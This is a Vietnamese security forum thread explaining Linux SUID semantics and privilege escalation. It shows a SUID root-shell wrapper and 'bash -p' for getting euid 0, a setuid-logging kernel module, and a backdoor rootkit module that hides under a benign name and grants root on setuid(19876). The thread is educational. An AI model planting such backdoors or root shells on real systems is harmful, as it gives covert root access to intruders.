[Question] get root qua SUID |
16/07/2007 18:22:14 (+0700) | #1 | 71561 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
Vì lý do bảo mật, bash shell kiểm tra và "drop" chủ quyền khi shell được tạo ra. Cho dù áp dụng s bit trên bash cũng không thể spawn một root shell với bash được.
Để hiểu rõ cơ chế này, bồ phải nắm một số khái niệm căn bản. Một POSIX process được tạo ra có 3 user id khác nhau:
- real user ID (ruid) --> real user ID thường được ấn định từ login.
- effective user ID (euid) --> chủ quyền hiện tại để có thể thực hiện chuyện gì.
- saved user ID (suid) --> chủ quyền được root thiết lập khi gọi hàm setuid(). Khi một ứng trình được khởi động, effective user id (euid) hiện có được copy và lưu trữ thành saved user ID (suid).
Trên Linux (các *nix khác như BSD và System V based có một số ứng dụng tương đồng và dị biệt. Ở đây chúng ta chỉ nói trong phạm vi Linux),
- nếu euid của người gọi hàm này là root (hoặc privilege user), nói chung có ID là 0, thì cơ chế setuid (gọi hàm setuid()) được ứng hiệu (để ấn định ruid, euid và suid),
- nếu euid của người gọi hàm này không phải là root (hoặc không phải là privilege user), nói chung là có ID không phải là 0 thì cơ chế setuid (gọi hàm setuid()) không được ứng hiệu. Tuy nhiên, khả năng thực thi cơ chế setuid này vẫn có thể được sử dụng bên ngoài giới hạn uid-setting system calls.
Đối với bash, nó có cơ chế kiểm tra euid, ruid và suid. Ngay sau khi một process được tạo ra để mở ra một bash shell, nếu euid không phải là 0 thì process này có euid chính là ruid và đồng thời suid cũng có giá trị y như ruid. Một user có ID là 500 chẳng hạn, anh ta tạo một bash shell (bằng cách chạy /bin/bash chẳng hạn) thì euid cũng là 500.
Ngay cả chương trình bash này đã set s bit (chmod u+s /usr/bin) thì bash vẫn drop chủ quyền của người dùng này về với id thật sự của anh ta.
Ví dụ:
[conmeo@home conmale]$ ls -la bash
-rwsr-xr-x 1 root root 626028 Aug 7 21:06 bash
[conmeo@home conmale]$ id
uid=504(conmeo) gid=504(canivore) groups=504(canivore)
Nếu chạy:
./bash
Rồi thử:
id thì sẽ thấy kết quả y hệt như trên:
uid=504(conmeo) gid=504(canivore) groups=504(canivore)
Tuy nhiên, bash có một ngoại lệ (đọc kỹ man page của bash thì mới thấy ngoại lệ này :
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
Cho nên, thử:
[conmeo@home conmale]$ ./bash -p
rồi thử:
bash-2.05b# id
thì sẽ thấy:
uid=504(conmeo) gid=504(canivore) euid=0(root) groups=504(canivore)
Cho dù conmeo vẫn có ruid và suid là 504, hắn vẫn có euid là 0 --> hắn đang đóng vai trò root
Thử access một file nào đó do root làm chủ xem?
Còn câu Tuy nhiên, khả năng thực thi cơ chế setuid này vẫn có thể được sử dụng bên ngoài giới hạn uid-setting system calls. thì sao?
Hãy thử một chương trình c đơn giản gọi là rootbash chẳng hạn:
CODE
#include<stdlib.h>
main () {
setuid(0);
system("/bin/bash");
}
Như bồ thấy, hàm setuid được gọi và ấn định giá trị là 0 (root) rồi mới spawn bash theo sau. Thử compile nó:
# gcc rootbash.c -o rootbash
sauo đó đổi mode cho nó:
# chmod 4755 rootbash
Thử chạy rootbash xem chuyện gì xảy ra?
Vậy, vấn đề cốt lõi là ở đâu?
1. nếu chương trình không set suid (s bit), hàm setuid() không được dùng khi một process được tạo ra để chạy chương trình ấy
2. nếu người khởi tạo chương trình có real user id (ruid) không phải là 0 (root) thì setuid() không được dùng.
3. nếu người khởi tạo chương trình có real user id (ruid) là 0 (root) thì setuid() được dùng.
4. có những chương trình cho dù có s bit set nhưng vẫn "bị" drop privilege như bash chẳng hạn (đây là những chương trình được viết kỹ và quan tâm đến bảo mật rõ ràng).
5. nếu một chương trình không kiểm soát ruid, euid và suid một cách chặt chẽ và nếu nó được set s bit. Đây là cửa ngõ cho privilege escalation.
(bài conmale post trên diễn đàn HVA trước đây - post lại vì có người thắc mắc về SUID). |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Question] Re: get root qua SUID |
16/07/2007 18:24:35 (+0700) | #2 | 71562 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
(bài của prof tham gia - nếu tôi nhớ không lầm).
Tớ xin nói thêm một chút về LKM. LKM thực chất là một object file chứa mã lệnh xử lý cho một mục đích nào đó được nạp vào kernel khi cần thiết. Nếu không có LKM, các sửa đổi áp đặt vào nhân Linux sẽ không thể tránh khỏi việc biên dịch và khởi động lại hệ thống. Ngoài ra, một lợi ích quan trọng của LKM là nó giúp cho kích thước nhân Linux không trở nên quá đồ sộ. Những module cần được sử dụng sẽ được nạp vào kernel bằng lệnh insmod, và khi không còn nhu cầu, module có thể được gỡ bỏ bằng lệnh rmmod. Hơn nữa, việc viết một LKM cũng sẽ đơn giản hơn nhiều so với việc viết thêm mã nguồn trực tiếp vào nhân Linux.
Trở lại vấn đề viết một LKM để chặn lời gọi hàm hệ thống setuid(). Đầu tiên, mỗi LKM đều cần phải có 2 hàm cơ bản là init_module() và cleanup_module() tương ứng sẽ được gọi khi cài đặt và khi gỡ bỏ module.
Sau đây là một ví dụ đơn giản, module logsetuid, về cách chặn lời gọi hàm setuid():
Code:
#define __KERNEL__
#define MODULE
#include <linux/config.h>
#include <linux/modules.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/types.h>
int (*real_setuid) (uid_t);
int new_setuid (uid_t);
extern void *sys_call_table[];
int init_module()
{
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}
int cleanup_module()
{
sys_call_table[ SYS_setuid ] = (void *)real_setuid;
return 0;
}
int new_setuid(uid_t uid)
{
int status;
if ( !current->uid || uid == current->uid) return (*real_setuid)(uid);
printk(“logsetuid: uid: %d euid:%d dest_uid:%d pid:%d proc:%d,
current->uid, current->euid, uid, current->pid, current->comm”);
printk(“status:%s\n”, (status = (*real_setuid) (uid)) ? “failed” : “succeeded”);
return status;
}
Module này thực hiện việc chặn lời gọi hàm setuid() và ghi lại chúng thông qua klogd daemon, rồi chuyển cho syslogd để xử lý.
Việc biên dịch và cài đặt module tuy có yêu cầu một số tùy chọn khác so với việc biên dịch các chương trình phía user space thông thường nhưng nó cũng không quá phức tạp. Phần này tôi xin dành cho bạn đọc tìm hiểu thêm. Hiện nay, có rất nhiều tài liệu trên mạng đều dạy cách viết & cài đặt một LKM từ A->Z.
Trở lại với ví dụ trên, sau khi hoàn thành việc cài đặt module trên, bạn có thể viết một chương trình test chỉ đơn giản gọi hàm setuid() rồi quan sát qua kernel log. Bạn nên thực thi chương trình test này với các vai trò người dùng khác nhau, và chú ý với tài khoản root. Lý do là lời gọi hàm setuid() của chương trình test sẽ chỉ được thực thi thành công với quyền root (vì euid = 0) và có bit suid được lập. Mỗi dòng trong kernel log chứa các giá trị uid, processID, process name, và kết quả của việc gọi hàm setuid.
Dưới đây là một ví dụ về kernel log:
Code:
logsetuid: uid: 500 euid: 500 dest_uid: 0 pid: 13552
proc: setuid_test status: failed
logsetuid: uid: 500 euid: 500 dest_uid: 0 pid: 13624
proc: sh_copy status: failed
logsetuid: uid: 705 euid: 705 dest_uid: 0 pid: 13680
proc: setuid_test1 status: failed
logsetuid: uid: 500 euid: 0 dest_uid: 0 pid: 13802
proc: setuid_test2 status: succeeded
Như vậy, với ví dụ này, ở đây chúng ta đã thực sự nắm lấy phần kiểm soát lời gọi hàm setuid() bằng đoạn mã xử lý trước của chúng ta. Trong trường hợp này, đoạn mã xử lý chỉ mang tính chất tham khảo – không gây hại. Tuy nhiên, cũng chính sức mạnh của kernel đã làm cho các loadable kernel module trở nên hữu dụng hơn đối với kẻ tấn công:
Code:
int new_setuid(uid_t);
int (*real_setuid)(uid_t);
extern void *sys_call_table[];
int init_module()
{
// Đổi tên module để tránh bị phát hiện.
register struct module *mp asm(“%ebx”);
*(char *) (mp->name) = ‘d’; *(char *) (mp->name+1) = ‘s’;
*(char *) (mp->name+2) = ‘2’; *(char *) (mp->name+3) = ‘\0’;
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *) new_setuid;
return 0;
}
int cleanup_module()
{
sys_call_table[ SYS_setuid ] = (void *) real_setuid;
return 0;
}
int new_setuid(uid_t uid)
{
if (uid == 19876)
{
current->uid = 0; current->gid = 0;
current->euid = 0; current->egid = 0;
return 0;
}
return (*real_setuid)(uid);
}
Đoạn code trên cũng thực hiện chức năng tương tự. Tuy nhiên, thay vì ghi lại thông tin, hàm new_setuid() sẽ thực hiện việc kiểm tra user ID được yêu cầu và nếu nó là 19876 sẽ set user ID hiện tại là 0. Bất kỳ lúc nào một chương trình gọi hàm setuid(19876), nó sẽ thành công và tiến trình này sẽ chạy với quyền ưu tiên là root mà không quan tâm đến việc ai kích hoạt tiến trình này.
Vì bất kỳ lời gọi hàm hệ thống nào cũng có thể bị chặn, nên hiển nhiên là những đoạn mã “độc hại” nếu được “import” vào kernel có thể gây hậu quả xấu đến vấn đề bảo mật. Ứng dụng truyền thống các đoạn mã kiểu kernel module này thường là để che dấu các hành vi của một hacker nào đó và cấp quyền truy cập root.
Như chúng ta thấy trong đoạn code trước, module này có thể thay đổi tên của chính nó để xuất hiện với tư cách hoàn toàn vô hại (chẳng hạn, nếu ds là một module thông dụng, và như vậy ds2 có thể là một cái tên nghe cũng “dễ chịu” ). Ngoài ra, còn có các kỹ thuật ẩn tên module, tránh bị phát hiện trong module list. Phần này xin dành cho bạn đọc tìm hiểu thêm. |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Question] Re: get root qua SUID |
02/08/2008 00:32:04 (+0700) | #3 | 144661 |
|
rickb
Reseacher
|
Joined: 27/01/2007 17:47:27
Messages: 200
Offline
|
|
hi anh conmale,
Em muốn hỏi 1 tý, như anh nói bash shell có cơ chế xác định RUID, EUID và SUID nên dù nó có được bật SUID bit thì nó vẫn drop chủ quyền về với id thật sự của người chạy file bash này, nhưng em thắc mắc nếu là như vậy thì nó đã mất đi ý nghĩa của SUID (chmod u+s) rồi, vì ý nghĩa của việc bật SUID bit là mong muốn tất cả user đều có thể chạy file bash này với EUID là owner file đó (tức là root) mà ở đây SUID được bật mà lại xét EUID thì cũng nhưng bình thường (ko bật SUID) rồi ? Như vậy hóa ra file bash này có bật SUID bit hay ko bật thì cũng y chang như nhau à ?
Thân, |
|
|
|
|
[Question] Re: get root qua SUID |
02/08/2008 23:06:59 (+0700) | #4 | 144799 |
|
quanta
Moderator
|
Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
|
|
Chào rickb,
rickb wrote:
Như vậy hóa ra file bash này có bật SUID bit hay ko bật thì cũng y chang như nhau à ?
Không, làm sao mà "y chang" được. Bạn đọc kỹ lại ví dụ và đoạn trích từ "man bash" của anh conmale, sau đó thực hành thì sẽ thấy nó khác biệt.
Anh conmale, đoạn này:
2. nếu người khởi tạo chương trình có real user id (ruid) không phải là 0 (root) thì setuid() không được dùng.
3. nếu người khởi tạo chương trình có real user id (ruid) là 0 (root) thì setuid() được dùng.
có nhầm lẫn gì không, nếu so với đoạn trên ạ:
Trên Linux (các *nix khác như BSD và System V based có một số ứng dụng tương đồng và dị biệt. Ở đây chúng ta chỉ nói trong phạm vi Linux),
- nếu euid của người gọi hàm này là root (hoặc privilege user), nói chung có ID là 0, thì cơ chế setuid (gọi hàm setuid()) được ứng hiệu (để ấn định ruid, euid và suid),
- nếu euid của người gọi hàm này không phải là root (hoặc không phải là privilege user), nói chung là có ID không phải là 0 thì cơ chế setuid (gọi hàm setuid()) không được ứng hiệu. Tuy nhiên, khả năng thực thi cơ chế setuid này vẫn có thể được sử dụng bên ngoài giới hạn uid-setting system calls.
Thêm nữa, điều gì xảy ra trong trường hợp: process không có đặc quyền thích hợp, nhưng uid lại bằng ruid hoặc suid, khi đó setuid() system call sẽ ứng xử thế nào?
Cụm từ "có đặc quyền thích hợp" - (appropriate privileges) trên mỗi hệ thống (Solaris, BSD, Linux) lại được hiểu khác nhau, xin phép được trích lại:
The phrase "appropriate privileges" varies from platform to platform. For example, on Solaris appropriate privileges for setuid() means that the PRIV_PROC_SETID privilege is in the effective privilege set of the process. On BSD, it means that the effective user ID (EUID) is zero (that is, the process is running as root) or that uid=geteuid(). On Linux, it means that the process has CAP_SETUID capability and that setuid(geteuid()) will fail if the effective EUID is not equal to 0, the real user ID (RUID), or the saved set-user-ID (SSUID).
What does “appropriate privileges” mean?
• Solaris: EUID=0 (i.e., process is running as root)
• Linux: process has special SETUID capability
—
Note that setuid(geteuid()) will fail if
EUID≠{0,RUID,SSUID}
• BSD: EUID=0 OR newuid=geteuid()
|
|
Let's build on a great foundation! |
|
|
|
|
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|